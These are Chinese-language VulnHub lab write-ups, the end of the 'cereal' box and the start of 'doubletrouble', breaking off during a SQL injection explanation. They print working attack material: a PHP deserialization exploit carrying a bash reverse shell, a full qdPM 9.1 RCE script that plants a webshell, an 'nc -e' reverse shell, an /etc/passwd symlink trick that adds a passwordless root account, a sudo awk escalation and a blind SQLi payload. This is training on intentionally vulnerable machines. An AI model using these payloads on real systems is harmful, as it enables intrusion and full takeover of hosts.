255, 0);">document.getElementById('ipform').submit();</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">通过调用 </font>`<font style="background-color:rgba(255, 255, 255, 0);">submit()</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 方法提交表单。</font> <font style="background-color:rgba(255, 255, 255, 0);">总的来说,这个函数的主要作用是获取用户输入的 IP 地址,将其序列化并格式化成特定的字符串,然后将这个字符串存入表单的一个隐藏字段中,最后提交表单。在实际使用中,需要确保 </font>`<font style="background-color:rgba(255, 255, 255, 0);">serialize</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 函数的存在并能够正确处理对象序列化。</font> <h1 id="KYakV">反序列化漏洞</h1> 拿到源码才能反序列化,尝试查找备份文件,因为作者前面给过提示说有 backup 备份文件 ```xml gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 300 -e ```  再从这个路径下找备份文件,看看有没有后缀是 bak,tar,zip,back 的文件 ```xml gobuster dir -r -u http://secure.cereal.ctf:44441/back_en/ -x bak,tar,zip,back -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 300 -e ```  发现一个 index.php.bak 下载下来拿到源码  ```xml <?php class pingTest { public $ipAddress = "127.0.0.1"; public $isValid = False; public $output = ""; function validate() { if (!$this->isValid) { if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)) { $this->isValid = True; } } $this->ping(); } public function ping() { if ($this->isValid) { $this->output = shell_exec("ping -c 3 $this->ipAddress"); } } } if (isset($_POST['obj'])) { $pingTest = unserialize(urldecode($_POST['obj'])); } else { $pingTest = new pingTest; } $pingTest->validate(); ``` 这<font style="background-color:rgba(255, 255, 255, 0);">段 PHP 代码定义了一个 </font>`<font style="background-color:rgba(255, 255, 255, 0);">pingTest</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 类,并使用该类来验证和执行对一个 IP 地址的 ping 操作。下面是对代码的逐行解释:</font> <h3 id="f8f7e46a"><font style="background-color:rgba(255, 255, 255, 0);">类定义</font></h3> 1. **<font style="background-color:rgba(255, 255, 255, 0);">class pingTest {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">定义一个名为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">pingTest</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 的类。</font> 2. **<font style="background-color:rgba(255, 255, 255, 0);">public $ipAddress = "127.0.0.1";</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">类的一个公共属性 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ipAddress</font>`<font style="background-color:rgba(255, 255, 255, 0);">,默认值为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">127.0.0.1</font>`<font style="background-color:rgba(255, 255, 255, 0);">(本地回环地址)。</font> 3. **<font style="background-color:rgba(255, 255, 255, 0);">public $isValid = False;</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">类的另一个公共属性 </font>`<font style="background-color:rgba(255, 255, 255, 0);">isValid</font>`<font style="background-color:rgba(255, 255, 255, 0);">,默认值为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">False</font>`<font style="background-color:rgba(255, 255, 255, 0);">,用于标识 IP 地址是否有效。</font> 4. **<font style="background-color:rgba(255, 255, 255, 0);">public $output = "";</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">类的第三个公共属性 </font>`<font style="background-color:rgba(255, 255, 255, 0);">output</font>`<font style="background-color:rgba(255, 255, 255, 0);">,用于存储 ping 命令的输出结果,初始为空字符串。</font> <h3 id="e6a3de1e"><font style="background-color:rgba(255, 255, 255, 0);">方法定义</font></h3> 1. **<font style="background-color:rgba(255, 255, 255, 0);">function validate() {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">定义一个 </font>`<font style="background-color:rgba(255, 255, 255, 0);">validate</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 方法,用于验证 IP 地址。</font> 2. **<font style="background-color:rgba(255, 255, 255, 0);">if (!$this->isValid) {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">检查 </font>`<font style="background-color:rgba(255, 255, 255, 0);">isValid</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 是否为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">False</font>`<font style="background-color:rgba(255, 255, 255, 0);">,如果是则继续验证。</font> 3. **<font style="background-color:rgba(255, 255, 255, 0);">if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)) {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">使用 </font>`<font style="background-color:rgba(255, 255, 255, 0);">filter_var</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 函数检查 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ipAddress</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 是否是一个有效的 IP 地址。</font> 4. **<font style="background-color:rgba(255, 255, 255, 0);">$this->isValid = True;</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">如果验证通过,将 </font>`<font style="background-color:rgba(255, 255, 255, 0);">isValid</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 设置为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">True</font>`<font style="background-color:rgba(255, 255, 255, 0);">。</font> 5. **<font style="background-color:rgba(255, 255, 255, 0);">}</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">结束内层 </font>`<font style="background-color:rgba(255, 255, 255, 0);">if</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 语句。</font> 6. **<font style="background-color:rgba(255, 255, 255, 0);">$this->ping();</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">调用 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ping</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 方法,如果 IP 地址有效,则执行 ping 操作。</font> 7. **<font style="background-color:rgba(255, 255, 255, 0);">}</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">结束 </font>`<font style="background-color:rgba(255, 255, 255, 0);">validate</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 方法。</font> <h3 id="27df8949"><font style="background-color:rgba(255, 255, 255, 0);">ping 方法</font></h3> 1. **<font style="background-color:rgba(255, 255, 255, 0);">public function ping() {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">定义一个 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ping</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 方法。</font> 2. **<font style="background-color:rgba(255, 255, 255, 0);">if ($this->isValid) {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">检查 </font>`<font style="background-color:rgba(255, 255, 255, 0);">isValid</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 是否为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">True</font>`<font style="background-color:rgba(255, 255, 255, 0);">。</font> 3. **<font style="background-color:rgba(255, 255, 255, 0);">$this->output = shell_exec("ping -c 3 $this->ipAddress");</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">使用 </font>`<font style="background-color:rgba(255, 255, 255, 0);">shell_exec</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 函数执行系统的 ping 命令,</font>`<font style="background-color:rgba(255, 255, 255, 0);">-c 3</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 表示发送 3 次 ping 请求。将返回结果赋值给 </font>`<font style="background-color:rgba(255, 255, 255, 0);">output</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 属性。</font> 4. **<font style="background-color:rgba(255, 255, 255, 0);">}</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">结束 </font>`<font style="background-color:rgba(255, 255, 255, 0);">if</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 语句。</font> 5. **<font style="background-color:rgba(255, 255, 255, 0);">}</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">结束 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ping</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 方法。</font> <h3 id="ab66afd1"><font style="background-color:rgba(255, 255, 255, 0);">实例化和处理请求</font></h3> 1. **<font style="background-color:rgba(255, 255, 255, 0);">if (isset($_POST['obj'])) {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">检查是否有 </font>`<font style="background-color:rgba(255, 255, 255, 0);">obj</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 字段在 POST 请求中。</font> 2. **<font style="background-color:rgba(255, 255, 255, 0);">$pingTest = unserialize(urldecode($_POST['obj']));</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">如果存在,将 </font>`<font style="background-color:rgba(255, 255, 255, 0);">obj</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 字段经过 URL 解码后进行反序列化,实例化一个 </font>`<font style="background-color:rgba(255, 255, 255, 0);">pingTest</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 对象。</font> 3. **<font style="background-color:rgba(255, 255, 255, 0);">} else {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">如果 </font>`<font style="background-color:rgba(255, 255, 255, 0);">obj</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 不存在,执行以下代码。</font> 4. **<font style="background-color:rgba(255, 255, 255, 0);">$pingTest = new pingTest;</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">创建一个 </font>`<font style="background-color:rgba(255, 255, 255, 0);">pingTest</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 的新实例。</font> 5. **<font style="background-color:rgba(255, 255, 255, 0);">}</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">结束 </font>`<font style="background-color:rgba(255, 255, 255, 0);">if</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 语句。</font> 6. **<font style="background-color:rgba(255, 255, 255, 0);">$pingTest->validate();</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">调用 </font>`<font style="background-color:rgba(255, 255, 255, 0);">validate</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 方法,进行 IP 地址的验证和 ping 操作。</font> <h3 id="25f9c7fa"><font style="background-color:rgba(255, 255, 255, 0);">总结</font></h3> <font style="background-color:rgba(255, 255, 255, 0);">这段代码的核心功能是:</font> 1. <font style="background-color:rgba(255, 255, 255, 0);">定义一个用于验证 IP 地址并执行 ping 操作的类。</font> 2. <font style="background-color:rgba(255, 255, 255, 0);">通过 POST 请求接收数据,如果存在序列化的对象,则进行反序列化;否则,创建一个新的</font><font style="background-color:rgba(255, 255, 255, 0);"> </font>`<font style="background-color:rgba(255, 255, 255, 0);">pingTest</font>`<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">实例。</font> 3. <font style="background-color:rgba(255, 255, 255, 0);">调用</font><font style="background-color:rgba(255, 255, 255, 0);"> </font>`<font style="background-color:rgba(255, 255, 255, 0);">validate</font>`<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">方法,检查 IP 地址的有效性,并在有效时执行 ping 操作。</font> <font style="background-color:rgba(255, 255, 255, 0);">使用时要注意安全性,尤其是在处理用户输入和执行 shell 命令时,以防止代码注入等安全问题。</font> <font style="background-color:rgba(255, 255, 255, 0);"></font> <font style="background-color:rgba(255, 255, 255, 0);">通过代码审计发现需要把 isValid 的值设置为 True 才能绕过验证执行命令</font> 编写 exp: ```xml <?php class pingTest{ public $ipAddress = "127.0.0.1|bash -c 'bash -i >& /dev/tcp/192.168.31.126/4444 0>&1'"; public $isValid = TRUE; } $obj = new pingTest(); echo urlencode(serialize($obj)); ?> ``` 执行代码获得序列化字符串,然后通过 burp 传递给目标服务器   kali 开启 nc 监听本地 4444 端口,等待 shell 连接过来  获得第一个 flag  <h1 id="Wvbqa">提权</h1> <h1 id="hPty2">进程监视</h1> 先把一个进程查看的文件传给靶机 文件下载地址:https://github.com/0xleft/smokescreen/blob/master/pspy64  `nc -lvnp 5555 > pspy` 靶机准备接受文件,并命名为pspy  `nc 192.168.31.26 5555 < pspy64 -w 1` kali 把文件传过去  -w 1 参数的意思是当文件传输完毕之后隔1秒就断开连接 `chmod +x pspy`赋予执行权限,`./pspy`运行文件启动监听,大约七八分钟之后就能看见一个脚本在执行  然后就能监听到这<font style="background-color:rgba(255, 255, 255, 0);">一行 </font>`<font style="background-color:rgba(255, 255, 255, 0);">UID=0PID=2808| /bin/bash /usr/share/scripts/chown.sh </font>`  查看该文件是这个内容 ```xml chown rocky:apache /home/rocky/public_html/* ``` <font style="background-color:rgba(255, 255, 255, 0);">这条命令的作用是更改指定目录下所有文件和子目录的所有者和所属组。具体解释如下:</font> 1. `**<font style="background-color:rgba(255, 255, 255, 0);">chown</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这是一个用于更改文件或目录所有者和所属组的命令。</font> 2. `**<font style="background-color:rgba(255, 255, 255, 0);">rocky:apache</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这个部分指定新的所有者和所属组。</font>`<font style="background-color:rgba(255, 255, 255, 0);">rocky</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 是新的文件所有者,而 </font>`<font style="background-color:rgba(255, 255, 255, 0);">apache</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 是新的所属组。用冒号 </font>`<font style="background-color:rgba(255, 255, 255, 0);">:</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 分隔开来表示。</font> 3. `**<font style="background-color:rgba(255, 255, 255, 0);">/home/rocky/public_html/*</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这是指定要更改的文件和目录的路径。</font>`<font style="background-color:rgba(255, 255, 255, 0);">*</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 表示匹配该路径下的所有文件和子目录。</font> <font style="background-color:rgba(255, 255, 255, 0);">综上所述,这条命令的作用是将 </font>`<font style="background-color:rgba(255, 255, 255, 0);">/home/rocky/public_html/</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 目录下的所有文件和子目录的所有者更改为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">rocky</font>`<font style="background-color:rgba(255, 255, 255, 0);">,并将它们的所属组更改为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">apache</font>`<font style="background-color:rgba(255, 255, 255, 0);">。</font> <font style="background-color:rgba(255, 255, 255, 0);">通常,这样的操作用于确保特定用户对文件或目录的访问权限,以及使相关服务(如 web 服务器)能够正确访问和使用这些文件。在指定的例子中,将文件的所属组设置为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">apache</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 可能是为了确保 Apache web 服务器可以访问这些文件。</font>  当前就是这个目录,我们可以通过软链接来连接 /etc/passwd,从而让我们拥有修改 /etc/passwd 文件的权限  ```xml ln -sf /etc/passwd /home/rocky/public_html/passwd ``` <font style="background-color:rgba(255, 255, 255, 0);">这条命令的作用是创建一个符号链接。具体解释如下:</font> 1. `**<font style="background-color:rgba(255, 255, 255, 0);">ln</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这是一个用于创建链接的命令。</font> 2. `**<font style="background-color:rgba(255, 255, 255, 0);">-s</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这个选项表示创建一个符号链接(也称为软链接),而不是硬链接。符号链接是一种特殊类型的文件,它指向另一个文件或目录的位置。</font> 3. `**<font style="background-color:rgba(255, 255, 255, 0);">-f</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这个选项表示强制执行链接操作。如果目标文件已经存在,</font>`<font style="background-color:rgba(255, 255, 255, 0);">-f</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 会先删除它,然后再创建新的链接。</font> 4. `**<font style="background-color:rgba(255, 255, 255, 0);">/etc/passwd</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这是被链接的源文件。在类 Unix 系统中,</font>`<font style="background-color:rgba(255, 255, 255, 0);">/etc/passwd</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 是一个重要的文件,通常包含了系统用户的基本信息,如用户名、用户ID、组ID、用户主目录和默认的shell等。</font> 5. `**<font style="background-color:rgba(255, 255, 255, 0);">/home/rocky/public_html/passwd</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这是符号链接的目标路径,即在这个位置创建一个名为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">passwd</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 的符号链接。</font> <font style="background-color:rgba(255, 255, 255, 0);">综上所述,这条命令的作用是:</font> + <font style="background-color:rgba(255, 255, 255, 0);">创建一个指向</font><font style="background-color:rgba(255, 255, 255, 0);"> </font>`<font style="background-color:rgba(255, 255, 255, 0);">/etc/passwd</font>`<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">文件的符号链接,链接名称为</font><font style="background-color:rgba(255, 255, 255, 0);"> </font>`<font style="background-color:rgba(255, 255, 255, 0);">/home/rocky/public_html/passwd</font>`<font style="background-color:rgba(255, 255, 255, 0);">。</font> + <font style="background-color:rgba(255, 255, 255, 0);">如果</font><font style="background-color:rgba(255, 255, 255, 0);"> </font>`<font style="background-color:rgba(255, 255, 255, 0);">/home/rocky/public_html/passwd</font>`<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">已经存在,它会被删除并重新创建链接。</font> <font style="background-color:rgba(255, 255, 255, 0);">需要注意的是,将 </font>`<font style="background-color:rgba(255, 255, 255, 0);">/etc/passwd</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 的链接放在公共 HTML 目录(如 </font>`<font style="background-color:rgba(255, 255, 255, 0);">public_html</font>`<font style="background-color:rgba(255, 255, 255, 0);">)中,可能会导致安全问题,因为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">/etc/passwd</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 文件包含有关系统用户的信息,公开这些信息可能会被恶意用户利用。因此,在实际操作中,应该谨慎处理这类链接。</font> <font style="background-color:rgba(255, 255, 255, 0);"></font> <h1 id="CwfEU"><font style="background-color:rgba(255, 255, 255, 0);">本地提权</font></h1> 再次查看就能发现 /etc/passwd 的属主已经更改了  <font style="background-color:rgba(255, 255, 255, 0);">通过小学二年级的知识我们知道,/etc/passwd 文件中的这个 </font>`<font style="background-color:rgba(255, 255, 255, 0);">x</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 是一个占位符,表示的是密码,而真正的密码放在 /etc/shadow 文件里,我们可以通过把 x 给去掉,让他变成空密码</font>  由于我们当前获得的不是一个完整的 shell,所以不能直接通过 vi 来修改,会出现乱码  那我们就直接按照 root 那一行的样子给他加一行吧,添加一个 root 权限的账户 ```xml echo "fabian::0:0:root:/root:/bin/bash" >> /etc/passwd ```  切换到这个账户 `su - fabian` `**<font style="background-color:rgba(255, 255, 255, 0);">-</font>**`<font style="background-color:rgba(255, 255, 255, 0);">:这个选项表示切换到目标用户的登录环境。使用 </font>`<font style="background-color:rgba(255, 255, 255, 0);">-</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 选项时,系统会加载目标用户的环境变量,包括用户的 PATH、HOME 目录等,这样可以使你获得目标用户的完整登录环境。</font>  <h1 id="A6nTf">打靶完毕!</h1>
打靶记录13——doubletrouble
# 靶机: [https://www.vulnhub.com/entry/doubletrouble-1,743/](https://www.vulnhub.com/entry/doubletrouble-1,743/) # 难度: - 中 # 目标: - 取得两台靶机 root 权限 # 涉及攻击方法: - 主机发现 - 端口扫描 - Web信息收集 - 开源CMS漏洞利用 - 隐写术 - 密码爆破 - GTFObins提权 - SQL盲注 - 脏牛提权 # 学习记录(nc): `nc`命令用来传文件,在很多时候传大文件的时候往往比用`python`来启用`HTTP`服务来传输的效果更好,而且`nc`几乎在所有的`Linux`系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件 # 主机发现 `arp-scan -l`  # 端口扫描和服务发现 `nmap -p- 192.168.0.103`  `nmap -p22,80 -sV -sC 192.168.0.103`    `qdPM`是一个开源、免费,基于`Web`的项目管理工具,其实也就是一个`cms`系统“CMS(Content Management System,内容管理系统)是一种用于创建、管理和修改数字内容的软件应用程序。CMS系统广泛用于网站建设和内容管理,允许用户无需编写代码即可创建和管理网站内容。” 查看`release notes`,可能会告诉我们它在新版本当中修复了哪些漏洞,然后又增加了哪些新功能,这样就会帮助我们去找到攻击渗透的入口点。  发现有一个`/install`路径和`/core/cache/qdPM/`路径   `/core/cache/qdPM/`路径只能查看到文件名称,无法看到源码  这里有一个token`234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA`,收集记录下来 `searchsploit qdpm`搜索漏洞库,发现`9.1`版本有`RCE`远程代码执行漏洞  把它们复制到当前目录里查看  发现是同一个`CVE`漏洞编码,只是使用的`Python`版本不一样,并且是需要登录之后`Authenticated`才能够利用成功的,网上搜索这个Web应用程序的默认的账号密码去登录也失败了   `sudo dirsearch -u http://192.168.0.103/`搜索目录,发现一个`/secret/`路径,有一张图片!   `steghide info doubletrouble.jpg`,查看图片发现能容下`4.7K`的隐写数据,但是需要密码。  `stegseek --crack doubletrouble.jpg rockyou.txt`一秒钟破解出密码`92camaro`  `stegseek --crack doubletrouble.jpg rockyou.txt -xf file`将隐写内容提取出来并命名为`file`,查看`file`文件获得账号密码`otisrush@localhost.com``otis666`  用这个账号密码成功登录`Web`应用的后台,那么我们就可以利用刚刚的两个`python`脚本来进行漏洞的利用了。  `mousepad 50175.py`编辑一下这个文件,里面的很多处的代码缩进有问题,需要手动修改一下  修改好之后的代码应该是这样的 ``` # Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) # Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net # Date: 2021-08-03 # Original Exploit Author: Rishal Dwivedi (Loginsoft) # Original ExploitDB ID: 47954 # Exploit Author: Leon Trappett (thepcn3rd) # Vendor Homepage: http://qdpm.net/ # Software Link: http://qdpm.net/download-qdpm-free-project-management # Version: <=1.9.1 # Tested on: Ubuntu Server 20.04 (Python 3.9.2) # CVE : CVE-2020-7246 # Exploit written in Python 3.9.2 # Tested Environment - Ubuntu Server 20.04 LTS # Path Traversal + Remote Code Execution #!/usr/bin/python3 import sys import requests from lxml import html from argparse import ArgumentParser session_requests = requests.session() def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar): request_1 = { 'sf_method': (None, 'put'), 'users[id]': (None, userid[-1]), 'users[photo_preview]': (None, uservar), 'users[_csrf_token]': (None, csrftoken_[-1]), 'users[name]': (None, username[-1]), 'users[new_password]': (None, ''), 'users[email]': (None, EMAIL), 'extra_fields[9]': (None, ''), 'users[remove_photo]': (None, '1'), } return request_1 def req(userid, username, csrftoken_, EMAIL, HOSTNAME): request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess') new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1) request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess') new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2) request_3 = { 'sf_method': (None, 'put'), 'users[id]': (None, userid[-1]), 'users[photo_preview]': (None, ''), 'users[_csrf_token]': (None, csrftoken_[-1]), 'users[name]': (None, username[-1]), 'users[new_password]': (None, ''), 'users[email]': (None, EMAIL), 'extra_fields[9]': (None, ''), 'users[photo]': ('backdoor.php', '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>' , 'application/octet-stream'), } upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3) def main(HOSTNAME, EMAIL, PASSWORD): url = HOSTNAME + '/index.php/login' result = session_requests.get(url) #print(result.text) login_tree = html.fromstring(result.text) authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0] payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token} result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login')) # The designated admin account does not have a myAccount page account_page = session_requests.get(HOSTNAME + 'index.php/myAccount') account_tree = html.fromstring(account_page.content) userid = account_tree.xpath("//input[@name='users[id]']/@value") username = account_tree.xpath("//input[@name='users[name]']/@value") csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value") req(userid, username, csrftoken_, EMAIL, HOSTNAME) get_file = session_requests.get(HOSTNAME + 'index.php/myAccount') final_tree = html.fromstring(get_file.content) backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value") print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami') if __name__ == '__main__': print("You are not able to use the designated admin account because they do not have a myAccount page.\n") parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit') parser.add_argument('-url', '--host', dest='hostname', help='Project URL') parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)') parser.add_argument('-p', '--password', dest='password', help='User password') args = parser.parse_args() # Added detection if the arguments are passed and populated, if not display the arguments if (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)): main(args.hostname, args.email, args.password) else: parser.print_help() ``` `python3 50175.py`可以正常运行了,那么给它加上参数来使用  `python3 50175.py -url http://192.168.0.103/ -u otisrush@localhost.com -p otis666`成功创建了一个后门文件,上传了一个`Webshell`   成功的任意命令执行  # 反弹shell `?cmd=which nc`发现存在`nc`命令  `?cmd=nc -e /bin/bash 192.168.0.101 4444`反弹shell  `python3 -c "import pty;pty.spawn('/bin/bash')"`升级一下`shell`  # 提权 `sudo -l`  `https://gtfobins.github.io/gtfobins/awk/#sudo`可以用`Gtfobins`来提权  `sudo awk 'BEGIN {system("/bin/bash")}'`幸福来得太突然,成功获取`root`权限!  在`/root`目录发现第二个`ova`格式的文件,那需要把它下载下来再导入`VirtualBox`当中  # 学习记录(nc): `nc`命令用来传文件,在很多时候传大文件的时候往往比用`python`来启用`HTTP`服务来传输的效果更好,而且`nc`几乎在所有的`Linux`系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件 `nc -lvnp 4444 > second.ova`首先在`kali`启动侦听,准备接收文件 然后在靶机`nc 192.168.0.101 4444 < doubletrouble.ova -w 1`传输文件,`-w 1`参数的意思是当文件传输完毕之后隔一秒钟就断开连接 `md5sum second.ova`传输完成之后检查`md5`是否一致,一致就说明文件没有经过任何修改   那么接下来就把它导入到`VirtualBox`当中去  # 第二次主机发现 `sudo arp-scan -l`发现它的`IP`地址`192.168.0.104`  # 第二次端口扫描和服务发现 `sudo nmap -p- 192.168.0.104`  `sudo nmap -p22,80 -sV -sC 192.168.0.104`  首先对`80`端口发起攻击,发现页面挺简单的,一个登录框  万能密码无法绕过来进行登录,源码也没有有价值的信息 `sudo dirsearch -u http://192.168.0.104/`尝试进行目录扫描,发现有`/cgi-bin/`  然后`sudo dirsearch -u http://192.168.0.104/cgi-bin/ -f -e cgi,sh`对这个目录进行扫描,看看有没有破壳漏洞,但是一无所获  那还是把目光放到唯一的登录页面上去吧,启动`BurpSuite`在登录的时候抓包 # SQL盲注(时间盲注) 输入payload`uname=' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#` 这段代码实际上是一个SQL注入(SQL Injection)的payload,用于测试或利用数据库查询的漏洞。具体来说,这是一个时间盲注(Time-based Blind SQL Injection)的示例。在这种注入类型中,攻击者通过使数据库服务器延迟响应来推断出有关数据库的信息。 ### 代码解析 ``` ' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)# ``` 让我们逐步分解这一段代码: 1. **起始单引号 **`**'**`: - 这一部分通常是用来结束原本的SQL语句的字符串部分的。例如,如果原SQL查询是: ``` SELECT * FROM users WHERE username = 'admin' AND password = 'password' ``` 注入攻击会这样插入单引号,使其变成: ``` SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)# ``` 2. **AND**: - 这个逻辑运算符用来添加一个新的条件到原本的SQL查询中。 3. **(SELECT x FROM (SELECT (SLEEP(10)))XZ)**: - 这是一个子查询。让我们进一步分解: - **(SELECT (SLEEP(10)))**: - 这部分是一个内嵌子查询。`SLEEP(10)`是一个数据库函数,通常用于让数据库服务器暂停执行10秒。这个函数在MySQL和一些其他数据库中都有类似的功能。 - **(SELECT x FROM ... XZ)**: - 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段(`x`),并将结果命名为`XZ`。 4. **#**: - 这是SQL中的注释符号,表示后面的内容都是注释,不会被执行。这可以帮助攻击者忽略掉后面的代码,防止引起语法错误。 ### 最终结果 将这段注入代码插入到原来的查询中,例如: ``` SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT 